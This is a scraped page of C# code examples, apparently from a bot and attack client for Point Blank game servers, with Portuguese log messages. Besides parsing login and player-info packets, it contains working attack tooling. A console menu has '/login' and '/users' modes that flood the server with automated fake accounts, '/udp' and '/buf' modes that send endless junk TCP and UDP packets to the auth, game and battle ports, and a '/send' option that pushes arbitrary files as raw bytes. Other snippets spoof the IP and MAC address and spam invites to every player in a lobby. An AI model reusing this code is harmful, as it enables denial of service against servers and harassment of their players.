Esempio n. 1
0
        public byte[] NovoPacote(SendPacket receive, SendPacket BeginSend)
        {
            if (send != null)
            {
                try
                {
                    BeginSend.WriteH(opcode);                                               //Opcode
                    BeginSend.WriteH((ushort)GetSession.INST().GetNextSessionSeed());       // seed
                    BeginSend.WriteB(send.stream.ToArray());                                //Bytes

                    byte[] data = Util.Encrypt(BeginSend.stream.ToArray(), player.Encrypt); // Encrypt

                    receive.WriteH((ushort)(data.Length - 2 | 0x8000));
                    receive.WriteB(data);
                    if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
                    {
                        Logger.Send($"{GetType().Name} [{ receive.stream.ToArray().Length}]");
                    }
                    return(receive.stream.ToArray());
                }
                catch (Exception e)
                {
                    LoggerXML.Log(e.ToString(), "ERROR");
                }
                finally
                {
                    receive.Close();
                    BeginSend.Close();
                    send.Close();
                }
            }
            return(null);
        }
        public override void Avoid()
        {
            int countchara = ReadD();

            ReadQ();
            int             idchara = ReadD();
            Equip_inventory equipc  = (Equip_inventory)ReadC();

            ReadD();
            ///////////////////////////////////
            int countweapon = ReadD();

            ReadQ();
            int             idweapon = ReadD();
            Equip_inventory equipw   = (Equip_inventory)ReadC();

            ReadD();
            ///////////////////////////////////
            int countcupon = ReadD();

            ReadQ();
            int             idcupon    = ReadD();
            Equip_inventory equipcupon = (Equip_inventory)ReadC();

            ReadD();
            ///////////////////////////////////
            ReadD();
            if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
            {
                Logger.Warnnig($"countchara: {countchara}, id:{idchara}, equip: {equipc.ToString()}");
                Logger.Warnnig($"countcupon: {countweapon},  id:{idweapon}, equip: {equipw.ToString()}");
                Logger.Warnnig($"countweapon: {countcupon}, id:{idcupon}, equip: {equipcupon.ToString()}");
            }
        }
        public override void Avoid()
        {
            LoginAcess result = (LoginAcess)ReadD();

            ReadC();
            player.ID = ReadQ();
            string login = ReadS(ReadC());

            ReadC();
            ReadC();
            if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
            {
                Logger.Receive($"{GetType().Name} [{result}; SEU ID: {player.ID}]");
            }

            if (result != LoginAcess.LOGIN_SUCESSO && result != LoginAcess.LOGIN_SUCESSO_ACEITO && AuthClient != null)
            {
                Logger.Error("Erro ao logar: " + result + ";");
            }

            if (result == LoginAcess.LOGIN_SUCESSO || result == LoginAcess.LOGIN_SUCESSO_ACEITO)
            {
                AuthClient.SendPacket(new BASE_GET_MYINFO_ACK().Write());
                GetSession.INST().byPass = true;
            }
        }
Esempio n. 4
0
        public override void Avoid()
        {
            int error = ReadD();

            if (error == 0)
            {
                if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
                {
                    Logger.Receive($"{GetType().Name} [{error}]");
                }
                if (flods)
                {
                    Connection.INSTs().SocketClientGame();
                }

                else
                {
                    Player p = Connection.INSTs().player;
                    if (p != null && p.AuthClient != null)
                    {
                        p.AuthClient.AskSocket();
                        p.AuthClient = null;
                    }
                    p = null;
                }
            }
        }
Esempio n. 5
0
 private void checkBox2_CheckedChanged(object sender, EventArgs e)
 {
     if (checkBox2.Checked)
     {
         GetSession.INST().PleaseWait = true;
     }
 }
Esempio n. 6
0
 private void Button1_Click(object sender, EventArgs e)
 {
     try
     {
         int count = 0;
         if (MessageBox.Show("Essa comando é infinito, deseja continuar?", "FLODAR CONVITES", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
         {
             p.ClientGame.SendPacket(new ROOM_GET_LOBBY_USER_LIST_ACK().Write());
             Logger.Receive($"Quantidades de players no lobby: {GetSession.INST().countPlayer}");
             if (GetSession.INST().countPlayer > 0)
             {
                 Logger.Comandos("Digite quantas vezes o repetirar. (1 até 300)");
                 int size = int.Parse(Console.ReadLine());
                 if (size <= 300 && size >= 1)
                 {
                     for (; ;)
                     {
                         count++;
                         Logger.Sucess($"Contagens total de convites: {count}");
                         Thread.Sleep(500);
                         for (int jogador = 0; jogador < GetSession.INST().countPlayer; jogador++)
                         {
                             p.ClientGame.SendPacket(new ROOM_INVITES_PLAYERS_ACK(jogador).Write());
                         }
                         if (count == size)
                         {
                             break;
                         }
                     }
                 }
                 else
                 {
                     Logger.Error("Error ao Digitar a quantidade.");
                     Logger.Error("programa Finalizado.");
                 }
             }
             else
             {
                 Logger.Error("Não há players suficientes para flodar!");
                 Logger.Error("programa Finalizado.");
             }
         }
         else
         {
             new Thread(CloseChating).Start();
             Close();
             p.ClientGame.SendPacket(new LOBBY_ENTER_ACK().Write());
             Logger.Info("Você voltou para o lobby");
         }
     }
     catch (Exception Ex)
     {
         Ex.ToString();
     }
 }
        public override void Avoid()
        {
            ReadD();
            int gold = ReadD();
            int cash = ReadD();

            if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
            {
                Logger.Receive($"{GetType().Name} Gold: [{gold}; Cash: {cash}]");
            }
        }
Esempio n. 8
0
        public void InforPlayer()
        {
            label12.Text  = $"[Async Player] ID é: {p.ID}, Gold: {p.gold}, cash: {p.cash}, Nick: {p.nick}, acess: {p.acess}";
            textBox4.Text = GetSession.INST().channelAnnounce;
            label1.Text   = $"IP: {p.server}";
            label3.Text   = $"Mac: {load.meuMac}";
            label6.Text   = $"Versão: {load.CLIENTEVERSION}";
            label18.Text  = $"Locale: {load.region}";
            textBox6.Text = Environment.UserName;
            textBox7.Text = p.channelId.ToString();

            button4.Enabled  = true;
            textBox4.Enabled = false;
        }
        public override void Avoid()
        {
            int        mask  = ReadD();
            LoginAcess error = (LoginAcess)ReadD();
            int        unk   = ReadD();

            if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
            {
                Logger.Receive($"{GetType().Name} Mask: [{mask} ;Error: {error}]");
            }
            if (AuthClient != null || error != 0)
            {
                AuthClient.AskSocket();
            }
        }
Esempio n. 10
0
        public override void Avoid()
        {
            int date = ReadD();

            ReadD();
            int error = ReadD();

            if (error == 0)
            {
                player.AuthClient.SendPacket(new BASE_USER_GIFTLIST_ACK().Write());
            }
            if (GetSession.INST().floodAccounts == false)
            {
                Logger.Receive($"{GetType().Name}, {error}");
            }
        }
 public override void Avoid()
 {
     GetSession.INST().countPlayer = ReadD();
     if (GetSession.INST().countPlayer > 1)
     {
         for (int i = 0; i < GetSession.INST().countPlayer; i++)
         {
             int    sessionid = ReadD();
             int    Rank      = ReadD();
             int    length    = ReadC();
             string name      = ReadS(length);
             Logger.Warnnig($"Conta: {sessionid}, {Rank}, {name}");
             GetSession.INST().playerlobby.Add(name);
         }
     }
     Logger.Warnnig($"Tem { GetSession.INST().countPlayer} no Lobby; ");
 }
Esempio n. 12
0
 public void AutoAccounts()
 {
     try
     {
         if (IPAddress.TryParse(loader.IP, out addr)) // 2586
         {
             remote = new IPEndPoint(addr, 39190);
             Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
             Logger.Receive("Recebendo Informação do Servidor!");
             if (socket == null)
             {
                 return;
             }
             else
             {
                 socket.Connect(remote);
             }
             if (socket.Connected)
             {
                 Random r = new Random();
                 if (GetSession.INST().Process)
                 {
                     loader.USER = "******" + r.Next(0, 1000);
                     loader.PASS = "******" + r.Next(0, 1000);
                 }
                 LoggerXML.Log($"Iniciando a conexão auth. [{remote}]", "CONEXAO");
                 Logger.Warnnig("[Async Socket] " + socket.RemoteEndPoint.ToString() + "");
                 socket.NoDelay   = true;
                 ReadPacket.flods = false;
                 player           = new Player
                 {
                     AuthClient = new AuthClient(socket, SyncPackage.INST().read)
                 };
                 r = null;
             }
         }
     }
     catch (Exception ex)
     {
         LoggerXML.Log(ex.ToString(), "ERROR");
     }
 }
        public override void Avoid()
        {
            int       clientId    = ReadD();
            IPAddress addr        = new IPAddress(ReadB(4));
            short     securityKey = ReadU();

            GetSession.INST().seed = ReadU();
            ReadB(10);
            byte value      = ReadC();
            int  serverSize = ReadD();

            player.ADDR    = IPAddress.Parse(LOAD.fakeIP).GetAddressBytes();
            player.Encrypt = ((clientId + securityKey) % 7) + 1;
            if (LOAD.LoggerReceive)
            {
                Logger.Receive($"{GetType().Name} [{clientId};{addr.ToString()};{securityKey};");
            }
            for (int i = 0; i < serverSize; i++)
            {
                int       actived    = ReadD();
                IPAddress serverIp   = new IPAddress(ReadB(4));
                ushort    serverPort = ReadUH();
                Exception_Servers_Type serverType = (Exception_Servers_Type)ReadC();
                short serverMax     = ReadU();
                int   serverPlayers = ReadD();
                if (serverType == Exception_Servers_Type.Server_Championship)
                {
                    Logger.Sucess($"o ChannelType é {serverType}");
                    Logger.Error("o Servidor: " + i + " está com senha...");
                    clientGame.SendPacket(new BASE_CHANNEL_PASSWRD_ACK().Write());
                    break;
                }
                if (serverType != Exception_Servers_Type.Server_Championship)
                {
                    Logger.Sucess($"o ChannelType é {serverType}");
                    Logger.Warnnig($"SessionSeed: [{GetSession.INST().seed}]");
                    clientGame.SendPacket(new BASE_USER_ENTER_ACK().Write());
                    break;
                }
            }
        }
Esempio n. 14
0
        public override void Avoid()
        {
            s.sessionID = ReadD();
            IPAddress addr        = new IPAddress(ReadB(4));
            short     securityKey = ReadU();

            GetSession.INST().seed = ReadU();

            ReadB(10);
            byte value      = ReadC();
            int  serverSize = ReadD();

            player.ADDR    = IPAddress.Parse(LOAD.fakeIP).GetAddressBytes();
            player.Encrypt = ((s.sessionID + securityKey) % 7) + 1;
            if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
            {
                Logger.Receive($"{GetType().Name} ClientID: [{ s.sessionID }];");
                Logger.Warnnig("ClientID: " + s.sessionID + " P.Encrypt: " + player.Encrypt);
            }
            for (int i = 0; i < serverSize; i++)
            {
                int       actived       = ReadD();
                IPAddress serverIp      = new IPAddress(ReadB(4));
                ushort    serverPort    = ReadUH();
                byte      serverType    = ReadC();
                short     serverMax     = ReadU();
                int       serverPlayers = ReadD();
                if (actived == 1 && i > 0)
                {
                    player.server = new IPEndPoint(serverIp, serverPort);
                    if (GetSession.INST().floodAccounts == false)
                    {
                        Logger.Warnnig($"SessionSeed: [{ GetSession.INST().seed}]");
                        Logger.Warnnig($"Jogadores Online: { serverPlayers}.");
                    }
                    AuthClient.SendPacket(new BASE_GET_LOGIN_ACK().Write());
                    break;
                }
            }
        }
Esempio n. 15
0
        public override void Avoid()
        {
            int error = ReadD();

            if (error > 1)
            {
                Logger.Error("[ERROR] - Buscar informação do Usuario.");
            }
            else
            {
                player.revs = ReadC();
                player.nick = ReadS(33);
                player.exp  = ReadD();
                player.rank = ReadD();
                ReadD();
                player.gold = ReadD();
                player.cash = ReadD();
                ReadB(16);
                player.acess = (PlayerACCESS)ReadC();
                ReadB(161);
                if (GetSession.INST().floodAccounts == false)
                {
                    Logger.Info("[Async Templates]: Revision   : [" + player.revs + "]");
                    Logger.Info("[Async Templates]: Nickname   : [" + player.nick + " ]");
                    Logger.Info("[Async Templates]: Experiencia: [" + player.exp + "  ]");
                    Logger.Info("[Async Templates]: Patente    : [" + player.rank + " ]");
                    Logger.Info("[Async Templates]: Dinheiro   : [" + player.cash + " ]");
                    Logger.Info("[Async Templates]: Ouro       : [" + player.gold + " ]");
                    Logger.Info("[Async Templates]: Acesso     : [" + player.acess + "]");
                }

                if (LOAD.LoggerReceive && GetSession.INST().floodAccounts == false)
                {
                    Logger.Receive($"{GetType().Name} [{player.nick};{player.exp};{player.rank};{ player.acess };{player.revs};]");
                }
            }
            AuthClient.SendPacket(new BASE_GET_SOURCE_ACK().Write());
            AuthClient.SendPacket(new BASE_GET_CONFIG_ACK().Write());
            AuthClient.SendPacket(new BASE_GET_ENTER_SERVER_ACK().Write());
        }
 public override byte[] Write()
 {
     send.WriteD(0); //ERROR
     send.WriteS(r.Name, 23);
     if (!GetSession.INST().PleaseWait)
     {
         send.WriteH(r.Map += 1);
     }
     else
     {
         send.WriteH(5000);
     }
     send.WriteC(0);           //stage4vs4
     send.WriteC(r.Type += 1); //type
     send.WriteC(0);
     send.WriteC(0);
     send.WriteC((byte)r.slots);   //slots
     send.WriteC(0);
     send.WriteC(0);               //all Weapons
     send.WriteC(r.randomMap);     //randomMap
     send.WriteC(r.special);       //special
     send.WriteS(player.nick, 33); // NICK DO PLAYER
     send.WriteC(66);              //66
     send.WriteC(0);
     send.WriteC(0);
     send.WriteC(0);
     send.WriteC(0);
     send.WriteC(0);
     send.WriteH(r.balanceamento);
     send.WriteS(r.pass, 4); //PASSWORD
     if (r.special == 6 || r.special == 9)
     {
         send.WriteC(r.Count); // QUANTOS BOT
         send.WriteC(r.Level); // LEVEL DO BOT
     }
     return(Process());
 }
Esempio n. 17
0
        public static void Conexao()
        {
            try
            {
reload:
                Logger.Info("----------------CONEXÃO AUTOMATICA nº: [ 1 ] OU MANUAL nº: [ 2 ]----------------");
                switch (Console.ReadLine().ToLower())
                {
                case "1":
                {
                    LoggerXML.Log("[Async Conexao] Automatica.", "CONEXAO");
                    new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
                    break;
                }

                case "2":
                {
                    LoggerXML.Log("[Async Conexao] Manual.", "CONEXAO");
                    Logger.Warnnig("[Async funtions] Digite seu IP");
                    string IP = Console.ReadLine();            //Checkar o Valor se é Valido do IP TryParse
                    if (IP != null || IP.Length > 20)
                    {
                        Logger.Warnnig("[Async funtions]  Digite sua PORTA");
                        ushort Porta = ushort.Parse(Console.ReadLine());
                        if (Porta > 39191)
                        {
                            Logger.Error("Tá doido Jogador?[" + Porta + "]");
                        }
                        Logger.Warnnig("[Async funtions] Digite a versão da client");
                        string Versão = Console.ReadLine();
                        if (Versão.Length > 8)
                        {
                            Logger.Error("tá doido Jogador?[" + Versão + "]");
                        }


                        Logger.Warnnig("[Async funtions] Digite a Locale Client");
                        Regions locale = (Regions)byte.Parse(Console.ReadLine());
                        Console.Clear();
                        Logger.Warnnig($"Conexão para  {IP}:{Porta} em  {Versão} {locale}");
                        if (locale > 0)
                        {
                            load.IP             = IP;
                            load.PORT           = Porta;
                            load.CLIENTEVERSION = Versão;
                            load.region         = locale;
                            if (IP != null && Porta != 0)
                            {
                                new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
                            }
                        }
                        else
                        {
                            Logger.Error("tá doido Jogador?[" + locale + "]");
                        }
                    }
                    else
                    {
                        Logger.Error("[Async funtions] Error IP não pode ser nulo.");
                    }
                    break;
                }

                case "/login":
                {
                    GetSession.INST().floodAccounts = true;
                    int count = 0;
                    Logger.Warnnig("[Async Atack] Você deseja flodar quantas contas? (1 À 1000)");
                    int contas = int.Parse(Console.ReadLine());
                    for (count = 0; count <= contas; count++)
                    {
                        new Thread(new ThreadStart(Connection.INSTs().AutoAccounts)).Start();
                        Console.Clear();
                        Thread.Sleep(1000);
                    }
                    Logger.Sucess($"[Async Atack] ATACK REALIZADO COM SUCESSO! contas criadas: {count}");
                    break;
                }

                case "/send":
                {
                    Logger.Warnnig("[Async Atack] Digite o nome do arquivo dentro da pasta ataque, Ex: [PointBlank.exe]");
                    string arquivo = Console.ReadLine();
                    Logger.Warnnig("[Async Atack] Enviar algum arquivo em forma de bytes para AUTH [1] ou GAME [2]?");
                    switch (Console.ReadLine())
                    {
                    case "1": SocketComponets.SendByteInTextAuth(arquivo); break;

                    case "2": SocketComponets.SendByteInTextGame(arquivo); break;

                    default:
                    {
                        Logger.Error("ERROR");
                        break;
                    }
                    }
                    break;
                }

                case "/users":
                {
                    GetSession.INST().floodAccounts = true;
                    int count = 0;
                    for (; ;)
                    {
                        new Thread(new ThreadStart(Connection.INSTs().AutoAccounts)).Start();
                        Thread.Sleep(5);
                        Logger.Sucess($"[Async Atack] ATACK REALIZADO COM SUCESSO! contas socket: {++count}");
                    }
                }

                case "/bypass":
                {
                    if (!load.AutoCreate)
                    {
                        Logger.Error("Coloque auto create!");
                    }
                    else
                    {
                        Logger.Warnnig("Digite ID: ");
                        string id = Console.ReadLine();
                        Logger.Warnnig("Digite sua senha: ");
                        string senha = Console.ReadLine();
                        Logger.Warnnig("Digite um novo MAC");
                        string mac = Console.ReadLine();
                        if (mac.Length > 17)
                        {
                            load.meuMac = mac;
                            Logger.Info(mac);
                        }
                        if (string.IsNullOrEmpty(id) || string.IsNullOrEmpty(senha))
                        {
                            Logger.Error("id ou Senha nao pode ser nula!");
                        }
                        if (id.Length < 4 || senha.Length < 4)
                        {
                            Logger.Error("id ou Senha nao pode ser menor que 4!");
                        }
                        else
                        {
                            load.USER = id;
                            load.PASS = senha;
                            new Thread(new ThreadStart(Connection.INSTs().SocketClientAuth)).Start();
                        }
                    }
                    break;
                }

                case "/udp":
                {
                    int count = 0;
                    while (true)
                    {
                        try
                        {
                            IPEndPoint Remote = new IPEndPoint(IPAddress.Parse(load.IP), 40009);
                            UdpClient  udp    = new UdpClient
                            {
                                Client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp),
                            };
                            udp.Client.Connect(Remote);
                            byte[] buffer = BitConverter.GetBytes(new Random().Next(22, 1000));
                            if (udp.Client.Connected)
                            {
                                udp.Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, new AsyncCallback(Retorno), udp);
                            }
                            else
                            {
                                Logger.Error($"[Async buffer] break"); break;
                            }
                            Thread.Sleep(5);
                            Logger.Warnnig($"[Async buffer] UdpClient [{++count}], Lenght '{buffer.Length}'");
                        }
                        catch (Exception ex)
                        {
                            Logger.Error(ex.ToString()); break;
                        }
                    }
                    break;
                }

                case "/buf":
                {
                    int packet = 0;
                    Logger.Warnnig("[Async Atack Buffer] IP Automatico [ 1 ] ou Manual [ 2 ] ");
                    switch (Console.ReadLine().ToLower())
                    {
                    case "1":
                    {
volteipraca:
                        IPEndPoint RemoteAuth = new IPEndPoint(IPAddress.Parse(load.IP), 39190);
                        IPEndPoint RemoteGame = new IPEndPoint(IPAddress.Parse(load.IP), 39191);
                        IPEndPoint RemoteUDP  = new IPEndPoint(IPAddress.Parse(load.IP), 40009);
                        Logger.Warnnig("[Async Atack Buffer] Tamanho de Bytes: ");
                        int    i = int.Parse(Console.ReadLine());
                        byte[] b = new byte[i];
                        while (true)
                        {
                            try
                            {
                                Socket AUTH = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                                AUTH.Connect(RemoteAuth);
                                if (AUTH.Connected)
                                {
                                    AUTH.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), AUTH);
                                }


                                Socket GAME = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                                GAME.Connect(RemoteGame);
                                if (GAME.Connected)
                                {
                                    GAME.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), GAME);
                                }

                                Socket UDP = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                                UDP.Connect(RemoteGame);
                                if (UDP.Connected)
                                {
                                    if (b.Length > 1000)
                                    {
                                        b = new byte[1000];
                                    }
                                    UDP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), UDP);
                                }
                                Logger.Send($"[P] TCP. Auth [{++packet}] {RemoteAuth.ToString()}");
                                Logger.Send($"[P] TCP, Game [{++packet}] {RemoteGame.ToString()}");
                                Logger.Send($"[P] UDP, Battle [{++packet}] {RemoteUDP.ToString()}");
                            }
                            catch (Exception ex)
                            {
                                Logger.Error(ex.ToString());
                                goto volteipraca;
                            }
                        }
                    }

                    case "2":
                    {
                        Logger.Warnnig("[Async Atack Buffer] Digite o IP: ");
                        string IP = Console.ReadLine();
                        Logger.Warnnig("[Async Atack Buffer] Digite a Porta TCP: ");
                        ushort portaTCP = ushort.Parse(Console.ReadLine());
                        Logger.Warnnig("[Async Atack Buffer] Digite a Porta UDP: ");
                        ushort portaUDP = ushort.Parse(Console.ReadLine());
                        Logger.Warnnig("[Async Atack Buffer] Tamanho de Bytes: ");
                        byte[] b = BitConverter.GetBytes(int.Parse(Console.ReadLine()));
                        if (IP != null || portaTCP != 0 || portaUDP != 0)
                        {
volteipraca:
                            IPEndPoint iPEndudp = new IPEndPoint(IPAddress.Parse(IP), portaUDP);
                            IPEndPoint iPEndTCP = new IPEndPoint(IPAddress.Parse(IP), portaTCP);
                            while (true)
                            {
                                try
                                {
                                    Socket UDP = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                                    UDP.Connect(iPEndudp);
                                    if (UDP.Connected)
                                    {
                                        if (b.Length > 1000)
                                        {
                                            b = new byte[1000];
                                        }
                                        UDP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), UDP);
                                        Logger.Send($"protocolo Type DataGram.   BufferPacketUDP[{++packet}] {iPEndudp.ToString()}");
                                    }
                                    Thread.Sleep(load.InternalMilisegundos);
                                    Socket TCP = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                                    TCP.Connect(iPEndTCP);
                                    if (TCP.Connected)
                                    {
                                        TCP.BeginSend(b, 0, b.Length, SocketFlags.None, new AsyncCallback(SendCallback), TCP);
                                        Logger.Send($"protocolo Type Stream.   BufferPacketTCP[{++packet}] {iPEndTCP.ToString()}");
                                    }
                                }
                                catch (Exception ex)
                                {
                                    Logger.Error(ex.ToString());
                                    Thread.Sleep(10000);
                                    goto volteipraca;
                                }
                                goto volteipraca;
                            }
                        }
                        else
                        {
                            Logger.Error("[Async error] As configurações de socket não podem ser nulas!");
                        }
                        break;
                    }

                    default:
                    {
                        Logger.Error("[Async error] Você tentou uma opção Invalida!");
                        break;
                    }
                    }
                    break;
                }

                case "/log":
                {
                    try
                    {
                        LoggerXML.DeleteLog(false);
                        Console.Beep();
                    }
                    catch (Exception ex)
                    {
                        Logger.Error(ex.ToString());
                    }
                    goto reload;
                }

                default:
                {
                    Logger.Warnnig("[Async Default] Configuração Errada!");
                    Console.Beep();
                    goto reload;
                }
                }
            }
            catch (Exception ex)
            {
                ex.ToString();
            }
        }